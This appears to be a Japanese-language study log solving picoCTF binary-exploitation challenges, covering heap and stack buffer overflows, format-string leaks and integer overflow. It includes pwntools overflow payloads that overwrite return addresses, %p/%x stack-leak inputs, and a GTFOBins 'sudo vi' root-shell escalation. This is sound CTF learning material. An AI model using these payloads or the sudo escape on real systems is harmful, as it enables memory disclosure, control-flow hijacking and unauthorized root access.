└─# nc tethys.picoctf.net 63061

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   pico
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

実行すると以上のような出力が出る。つまり、1-5の行動を起こせるようだ。

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

渡されたコードを見るとflagが出る関数がある。safe_varをbico以外にするとflagが出てくるようだ。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   pico
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

1を選択すると中身が見れる。

Enter your choice: 4
Looks like everything is still secure!

No flage for you :(

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

4だとflagを表示させるcheck_winを実行するようだ。

Enter your choice: 3


Take a look at my variable: safe_var = bico


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

3だと現在のsafe_varが確認できる。

Enter your choice: 2
Data for buffer: kakaka

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

2だとbufferに書き込みができるようだ。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   kakaka
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

書き込んだ後にheapを確認するとpicoが変わっていた。

Enter your choice: 2
Data for buffer: kakakakakakakkaka

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   kakakakakakakkaka
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

文字列を増やすとさらに伸びた。つまり、このまま増やして、bicoを変えるということをすればよさそう。0x559b554c12d0と0x559b554c12b0の差は32なので、それ以上を入力すればいい。

Enter your choice: 2
Data for buffer: 11111111112222222222333333333344444444445555555555

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   11111111112222222222333333333344444444445555555555
+-------------+----------------+
[*]   0x559b554c12d0  ->   444444445555555555
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = 444444445555555555


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

ということで、safe_varを変更することに成功。

Enter your choice: 4

YOU WIN

ということで、flagゲット。

buffer overflow 2

Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here. And connect with it using nc saturn.picoctf.net 52464

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

fgetsはbufにflagを出力。そのあとの条件が引数のアドレスがあっていないと返されてしまう。それをかいくぐってbufを出力させなければならなさそう。

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

bufに入力を入れるのはいいが、putsだけしかしないので戻り値を自身で見つけなければならない。

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

main関数は前と同じ。

見る限り、デバッグしてアドレスを得ないと手も足も出なさそう。

main
   0x080493d5 <+99>:    add    $0x10,%esp
   0x080493d8 <+102>:   call   0x8049338 <vuln>
   0x080493dd <+107>:   mov    $0x0,%eax

vuln関数の戻り値は0x080493ddだとわかる。

Dump of assembler code for function win:
   0x08049296 <+0>:     endbr32
   0x0804929a <+4>:     push   ebp
   0x0804929b <+5>:     mov    ebp,esp
   0x0804929d <+7>:     push   ebx

win関数の始まりは0x08049296 今回はいくら多くの文字を入力しても、それがなにを書き換えたかまではわからないのではないだろうか。bufに入っているものをputsするだけだから。わからん。今日はここまで

お久しぶりです。やっていきます。通常に実行しても入力して、出力されておしまいになる。
スタックに積まれる構造を理解して、リターンアドレスをwin関数にすること、参照する引数の場所に決められた値を入れることが、今回の問題であるようだ。どうにもできないので、writeupを見てしまった。(picoCTF 2022 buffer overflow 2 Writeup)、(ポン中のハシビロコウ)

スタックにどれだけの文字を入力したらリターンアドレスに到達できるのかを求めないといけない。
単純にbufに100個の要素が入るからといって100ではないのが難しい。参考文献のようにgdbを使うのがよさそうだが、渡されたvulnが実行できずなかなかに困る。もしかしたら16の倍数で100を初めて超えるのが112という求め方ではだめなのかな?邪道ですね。実際、SIGSEGVが起きるのも113からなので、そうやって片っ端から求めることもできる。お勧めしないけど。

そして、文字でスタックを埋めた後はリターンアドレス(win関数先頭)があり、その次にwin関数の終了時に戻るアドレスがあり、その先に引数の場所がある。よって

from pwn import *
win = p32(0x08049296)
arg1 = p32(0xCAFEF00D)
arg2 = p32(0xF00DF00D)

io.sendline(b"a"*112+win+b"a"*4 +arg1+arg2)

このようなコードを送れば、バッファオーバーフローが完成する。

感想 gdbの使い方によってスタックの中身を見たり求めたりできるので、ほかのwriteupを参考にしながらやっていきたい。もしも実行できない時は既存んの関数呼び出しにおけるスタックの状況を理論から考えて行っていくのがよさそう。コードと照らし合わせてスタックがどうなっているかを把握することが大切。

RPS

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row. 5回連続でじゃんけんに勝つことを要求している。プログラムを見るとplayで勝つとwinカウントがたまり負けると0に戻る。winカウント5つ以上貯めるとfalgゲットという感じ。以上というのは少し気になる。

      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

play()がtrueならwinカウントが貯める。

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }

play()の中の勝ち負けを決めるところ。randが使われているので相手の手を予測するのは難しい。勝ちになる判定は if (strstr(player_turn, loses[computer_turn])) {ここで行われているようだ。ifの真偽は0がfalse、0以外がtrueとなっている。(strstr())を確認するとstrstr関数は文字列を比較して比較対象に文字列が含まれているとその文字列が現れる場所を返してくれるようだ。見つからないとnull=0を返す。
簡単な話scissorspaperrockと全てを含んだ文字列を投げたら勝ち判定になる。

Please make your selection (rock/paper/scissors):
scissorspaperrock
scissorspaperrock
You played: scissorspaperrock
The computer played: rock
You win! Play again?

これを5回繰り返したらおしまい。

two-sum

Can you solve this? What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2 Enter them here nc saturn.picoctf.net 54966.
どういうことだろうか?
ソースコードからn1とn2を入力してその和がどちらかより小さくしないといけないようだ。

        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

これはaddIntOvfを-1にすると終了せずにflagがとれそうだ

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

両方とも負か正でないとreturn=0になってしまう。if (num1 > 0 || num2 > 0) {flagを出力するところはnum1とnum2両方と正であることを要求しているので、if(a > 0 && b > 0 && result < 0)これを成り立たせる。
(【C言語入門】整数(int、long int、short int)の使い方)intは

int型のサイズは4バイトで、最大値は2147483647、最小値は-2147483648となります

とあるので、和が2147483647これを超えればいいということかな?

└─# nc saturn.picoctf.net 54966
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483645
4
You entered 2147483645 and 4
You have an integer overflow

正解のようだ。

clutter-overflow

Clutter, clutter everywhere and not a byte to use.
どういういみだろう?ソースコードと実行ファイルが渡された。一応オーバーフローを起こさせる問題のようではある。

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
    
  puts(HEADER); 
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}
└─# nc mars.picoctf.net 31890
 ______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \ ^ _ ^ / |                | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | //  | /_\ ^| |   ____  ____   | | ^ |
|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|
| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| /     (   \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \|^ ^|
.-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |
|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\ |^ ^|
| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|==                    =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
ls
code == 0x0
code != 0xdeadbeef :(

ソースコードと実行結果から考えるとcodeの値を0xdeadbeefにすることが目標のようだ。渡された実行ファイルが実効可能だったので、スタック情報などを確認しながらオバーフローに迫りたいと思う。(picoCTF 2022 buffer overflow 2 Writeup)を参考にスタックを確認していく。
まずはmain関数をdisasしてみる。(大切そうなところだけ抜粋)

gdb-peda$ disas main
Dump of assembler code for function main:
、、、
   0x0000000000400716 <+79>:    mov    rax,QWORD PTR [rip+0x201933]        # 0x602050 <HEADER>
   0x000000000040071d <+86>:    mov    rdi,rax
、、、
   0x000000000040074c <+133>:   call   0x4005d0 <gets@plt>
   0x0000000000400751 <+138>:   mov    eax,0xdeadbeef
   0x0000000000400756 <+143>:   cmp    QWORD PTR [rbp-0x8],rax
   0x000000000040075a <+147>:   jne    0x40078c <main+197>
、、、
End of assembler dump.

知りたいのはcodeのアドレスとclutterからどれだけ入力したらcodeに届くのかということ。
ではまずcodeの位置を確認してみる。 if (code == GOAL) {が始まる前まで実行して以下のコマンドをたたく。

gdb-peda$ x/40xw $rsp
0x7fffffffe2c0: 0x00414141      0x00007fff      0x000012f9      0x00000000
0x7fffffffe2d0: 0x00c00000      0x00000000      0x008c0328      0x00000000
0x7fffffffe2e0: 0x00040000      0x00000000      0xf7fe0e16      0x00007fff
0x7fffffffe2f0: 0x00000000      0x00000000      0x00008000      0x00000000
0x7fffffffe300: 0x00000002      0x00000000      0x00000006      0x80000000
0x7fffffffe310: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe320: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe330: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe340: 0x00040000      0x00000000      0x00000004      0x00000000
0x7fffffffe350: 0x00000040      0x00000000      0x00000010      0x00000000

0x7fffffffe2c0から入力が行われていることが分かった。つまり、clutterは0x7fffffffe2c0から始まる。 codeを探してもp codeとかですね。わからない。 0x400756 <main+143>: cmp QWORD PTR [rbp-0x8],raxというところが比較を行っている。raxがGOALのようだ。

gdb-peda$ x/40xw $rax
0xdeadbeef:     Cannot access memory at address 0xdeadbeef

rbp-0x8を見てみる。

gdb-peda$ x/40xw $rbp - 0x8
0x7fffffffe3c8: 0x00000000      0x00000000      0x00000001      0x00000000

つまり、codeは0x7fffffffe3c8であり、そことGOALが比較している。 つまり、clutterとcodeの距離は0x7fffffffe3c8 - 0x7fffffffe2c0=0x108(264)となる。
よって、入力するべき文字数は4264//4=264入力が必要。 よって、b'a'264 + '0xdeadbeef'を入力できればできそう。

from pwn import *

io = remote("mars.picoctf.net",31890)
goal = p32(0xdeadbeef)

io.sendline(b"a"*264+goal)
print(io.recvall())

以上のコードを実行するとflagを手に入れることができた。

hijacking

Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
該当サーバーにsshしてみる。

picoctf@challenge:~$ ls -al
total 16
drwxr-xr-x 1 picoctf picoctf   20 Apr 27 03:28 .
drwxr-xr-x 1 root    root      21 Aug  4  2023 ..
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc
drwx------ 2 picoctf picoctf   34 Apr 27 03:28 .cache
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile
-rw-r--r-- 1 root    root     375 Mar 16  2023 .server.py

ホームディレクトリでのファイル。

picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

そこにあるpythonコード。実行してみる。

picoctf@challenge:~$ python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
  File ".server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname

とにかくできないようだ。writeupをちっと見てしまったsudo -lで実行できるコマンドを知れるようだ。

picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

全員vimは使えるようだ。rootユーザーならパスワードなしでpythonと.server.pyが使えるようだ。(GTFOBinsを利用したLinuxの権限昇格【sudo編】)を見てみると、(GTFOBins )というサイトに権限昇格等に利用できる知識が集約されているようだ。

知識(GTFOBins)
GTFOBins (GTFOBins )。


見てみると上記のようなコードを打つとsudo権限が取れるようだ。

picoctf@challenge:~$ sudo vi -c ':!/bin/sh'
[sudo] password for picoctf:

picoctfのパスワードを要求されるので、与えられたパスワードを入力。

# whoami
root

root権限が取れた。rootディレクトリに行くと、

# ls -al
total 12
drwx------ 1 root root   23 Aug  4  2023 .
drwxr-xr-x 1 root root   51 Apr 27 04:22 ..
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root   43 Aug  4  2023 .flag.txt
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile

flagがあった。終了。

flag leak

Story telling class 1/2 I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using: nc saturn.picoctf.net 65239
ということで、よくわからん。与えられたコードをもとに考えていく。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

よくあるvulnからバッファオーバーフローを起こして、readflag関数に飛ばすやつではないだろうか?いや、引数をスタックに積んでから飛ばすのか?それともvulnでreadflag関数がすでに呼ばれているので、それを考えるのか?

   0x0804934f <+28>:    push   0x40
   0x08049351 <+30>:    lea    eax,[ebp-0x48]
   0x08049354 <+33>:    push   eax
   0x08049355 <+34>:    call   0x80492b6 <readflag>

readflagを呼ぶ前にスタックへ64(0x40)が積まれその次にflagの領域が積まれている感じだと思う。いや、これprintf(story);が書式指定子がないので、%sなどでスタック情報を入手できる。

└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's a story -
0xffb94b00,0xffb94b20,0x8049346,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x252c70,0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,0x3474535f,

いい感じでないかね。
あと少しのところで来ない。コードを確認するとscanf("%127s", story);となっており、127sしか取り込んでいないコンマは邪魔っぽい。コンマなしで入力してみる。

└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Here's a story -
0xffbbe1600xffbbe1800x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xee274d000xee0f9ab00x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x303666350x7d3731360xfbad20000xb3a62200(nil)0xee2b09900x804c0000x8049410(nil)0x804c0000xffbbe2480x80494180x20xffbbe2f40xffbbe300(nil)0xffbbe260

お!さっきより流出できている気がする。

出てきましたね。swap endiannessのword = 4で並び替えるとflagゲット。

x-sixty-what

Overflow x64 code Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source. nc saturn.picoctf.net 55353
渡されたコードは実行できる。アドレスを見ることができそう。

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

よくあるバッファオーバーフローのやつ。

gdb-peda$ pdisas flag
Dump of assembler code for function flag:
   0x0000000000401236 <+0>:     endbr64

flag関数は0x00401236であることが分かる。bufの下にあるリターンアドレスを書き換えることを目指す。

   0x0000000000401333 <+97>:    call   0x4012b2 <vuln>
   0x0000000000401338 <+102>:   mov    eax,0x0

main関数のvulnが戻ってくるアドレスは0x00401338になっている。
入力を求められて入力した後のスタック状況を確認する。

gdb-peda$ x/40xw $rsp
0x7fffffffe370: 0x61616161      0x00007f00      0xf7e4ccfa      0x00007fff
0x7fffffffe380: 0xf7fab780      0x00007fff      0xf7e4d423      0x00007fff
0x7fffffffe390: 0xffffe4f8      0x00007fff      0xffffe3e0      0x00007fff
0x7fffffffe3a0: 0x00000000      0x00000000      0xffffe508      0x00007fff
0x7fffffffe3b0: 0xffffe3e0      0x00007fff      0x00401338      0x00000000
0x7fffffffe3c0: 0xffffe4f8      0x00007fff      0xf7fe6780      0x00000001
0x7fffffffe3d0: 0x00000000      0x00000000      0xf7ffdab0      0x00000000
0x7fffffffe3e0: 0x00000001      0x00000000      0xf7dfe6ca      0x00007fff
0x7fffffffe3f0: 0xffffe4e0      0x00007fff      0x004012d2      0x00000000
0x7fffffffe400: 0x00400040      0x00000001      0xffffe4f8      0x00007fff

aを4回打ったので0x61616161になっている。0x7fffffffe3b8にリターンアドレスが書き込まれていることが分かる。スタックの先頭からの距離は0x48(72)である。a*72入力したのちに0x00401236のアドレスを入力したらよさそう。

from pwn import *

io = remote("saturn.picoctf.net",56334)
goal = p64(0x00401236)

io.sendline(b"a"*72+goal)
print(io.recvall())

これでやってみたができない。あれ違ったかな。hintやwriteupを見た。
いい線まで言っていることはわかる。flag関数の先頭でなく0x000000000040123b <+5>: mov rbp,rspここに飛ばす方がよかったようだ。なんでだろうか?ほかにもret関数を積んでからリターンアドレスを積む方法もある。ropでも解けるということだろうか?少し個々の謎は解明したい。

from pwn import *

io = remote("saturn.picoctf.net",61053)
goal = p64(0x0040123b)

io.sendline(b"a"*72+goal)
print(io.recvall())

上記のコードで実行するとflagゲット。

これより下は未解決

Cache Me Outside

While being super relevant with my meme references, I wrote a program to see how much you understand heap allocations.
ヒープ領域に関する脆弱性をつくようだ。実行ファイルしか渡されていないので、gdbとghidraを用いて解析していく。ghidraを見ていると、以下のようなコードがある。
変数名を自身で変えたので意味が分からないものになっているが、つまり、mallocした領域の先頭アドレス+0x10したところの文字を出力するように思う。コードを見ているとlocal_98とflagを抽出した文字列をstrcatで連結しているように見える。つまり、このlocal_98をヒントにflagの場所を特定して、putsさせればいいということかな?わからない。writeupを見る。(ポン中のハシビロコウ)読んでみたけど、よくわからん!

CE-XXXX-XXXX

heap 3

This program mishandles memory. Can you exploit it to get the flag? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 54618

という感じでコードとプログラムが渡された。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

何かしらの構造体を定義している。

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

ここがflagを表示する関数のようだ。xオブジェクトのflagがpicoだったら勝つようだ。

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

何かしら新しい関数があるようだ。

format string 1

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 56681
裏メニューがあるようだ。

└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%s%s%s%s
Here's your order: Here's your order: (null)(null)
Bye!

先と似た感じで%sを多用してみるがうまいこといかない。フォーマット指定子の攻撃について調べていると(format string attackによるメモリ読み出しをやってみる)%xを用いてメモリを表示させることもできるようだ。

└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%x%x%x%x%x%x%x
Here's your order: 40211802615fa000e88880a347834b3608d80
Bye!

何かうまいこと流出できている。ここでメモリのエディアンについて調べた。

└─# file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped

渡された実行ファイルはx86-64形式であるようだ。(Linux で Arm64 アセンブリプログラミング (01) メモリ、バイト、レジスタ、エンディアン)を見ると

エンディアンは CPU に依存していて、x86x86-64 はリトルエンディアンです。

とあるので、リトルエディアンで変更させていく。いろいろ試行錯誤しているがまだ解けない。

Give me your order and I'll read it back to you:
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
